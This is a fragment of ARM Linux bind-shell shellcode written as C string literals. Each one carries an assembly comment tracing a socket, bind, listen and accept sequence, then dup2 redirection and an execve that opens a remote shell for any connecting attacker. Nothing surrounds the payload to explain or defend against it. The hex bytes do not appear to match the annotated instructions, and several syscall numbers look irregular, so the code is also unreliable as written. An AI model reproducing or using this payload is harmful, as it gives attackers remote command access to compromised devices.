"\x56\x97\xb5\x18"   /*  add   r6, pc, #32           */
"\x5e\x50\x6a\x9d"   /*  sub   r7, r7, r7            */
"\x52\x1b\x3b\x54"   /*  strb  r7, [r6, #1]          */
"\xd4\xcf\x51\xf5"   /*  add   r3, r7, #1            */
"\x50\xd4\x75\xcb"   /*  mov   r0, r3, lsl r7        */
"\x97\x18\x75\xd4"   /*  add   r2, r3, #1            */
"\xd5\x8e\x75\x18"   /*  mov   r4, r7                */
"\x8f\x97\x91\x50"   /*  sub   lr, lr, lr            */
"\x15\x8e\xb4\x8a"   /*  stmfd sp!, {r2-r4, lr}      */
"\x75\xcb\xf5\x45"   /*  mov   r1, sp                */
"\x5e\xd4\x9b\xc6"   /*  swi   0x90ff66     (socket) */
"\x50\x54\x6a\x18"   /*  mov   r5, r0, lsl r7        */
"\x5e\x8a\xd5\xd4"   /*  strb  r7, [r6, #53]         */
"\x5e\x59\x91\x1f"   /*  mov   r2, #20               */
"\x5e\x52\x75\xc5"   /*  mov   r2, r2, lsl #17       */
"\x6a\xa6\xd4\x90"   /*  add   r2, r2, #2            */
"\x4a\x9b\xd5\x2f"   /*  stmfd sp!, {r2,r4, lr}      */
"\x5e\xff\xb4\x56"   /*  mov   r3, #16               */
"\x49\x9d\x47\x18"   /*  mov   r2, sp                */
"\xb4\x56\x62\x56"   /*  stmfd sp!, {r0, r2, r3, lr} */
"\xb5\x92\x8f\x46"   /*  mov   r2, #2                */
"\xb3\xad\x6a\xd4"   /*  mov   r0, r2, lsl r7        */
"\x4a\x15\xb4\x11"   /*  mov   r1, sp                */
"\xbf\xb5\x09\x46"   /*  swi   0x90ff66       (bind) */
"\x54\xb3\x91\x52"   /*  strb  r7, [r6, #69]         */
"\x6a\xb5\x9b\x56"   /*  add   r2, r2, #2            */
"\x77\xd4\xd5\x97"   /*  mov   r0, r2, lsl r7        */
"\x75\xd4\x90\x59"   /*  swi   0x90ff66     (listen) */
"\xb4\xbd\x5e\xcf"   /*  strb  r7, [r6, #93]         */
"\x56\xd5\x56\x9b"   /*  add   r2, r2, #1            */
"\x52\x91\x83\xd4"   /*  mov   r0, r2, lsl r7        */
"\x85\x56\xb1\xd4"   /*  str   r7, [sp, #4]          */
"\x9b\x6a\xb1\x9b"   /*  str     r7, [sp, #8]          */
"\x8f\xd5\xbd\xd5"   /*  swi   0x90ff66     (accept) */
"\x89\xd5\x97\xd5"   /*  mov   r5, r0, lsl r7        */
"\x50\xbd\x4a\x15"   /*  mov   r1, #2                */
"\x5e\xb5\xb4\x56"   /*  strb  r7, [r6, #113]        */
"\x59\x56\xb5\x75"   /*  mov   r0, r5, lsl r7 <dup2> */
"\x4a\x37\xd4\x50"   /*  swi   0x90ff3f       (dup2) */
"\x50\x56\x15\x4a"   /*  subs  r1, r1, #1            */
"\x8e\xb5\x56\x91"   /*  bpl   <dup2>                */
"\xd4\xb1\x18\x6a"   /*  strb  r7, [r6, #153]        */
"\xd4\x9a\x55\xd4"   /*  add   r3, pc, #20           */
"\x91\x75\x5e\x50"   /*  str     r3, [sp, #4]          */
"\x3b\xeb\x73\x8f"   /*  add   r1, sp, #4            */
"\x4a\x56\xf5\x8e"   /*  sub   r2, r2, r2            */
"\x90\x9b\x59\xd5"   /*  mov   r0, r3, lsl r2        */
"\x50\x46\x75\x5e"   /*  str   r2, [sp, #8]          */
"\xb5\x9d\xf5\x6a"   /*  swi     0x900ff0b    (execve) */
"\xd4\x8e\x90\x21\xcf\x85\x54"
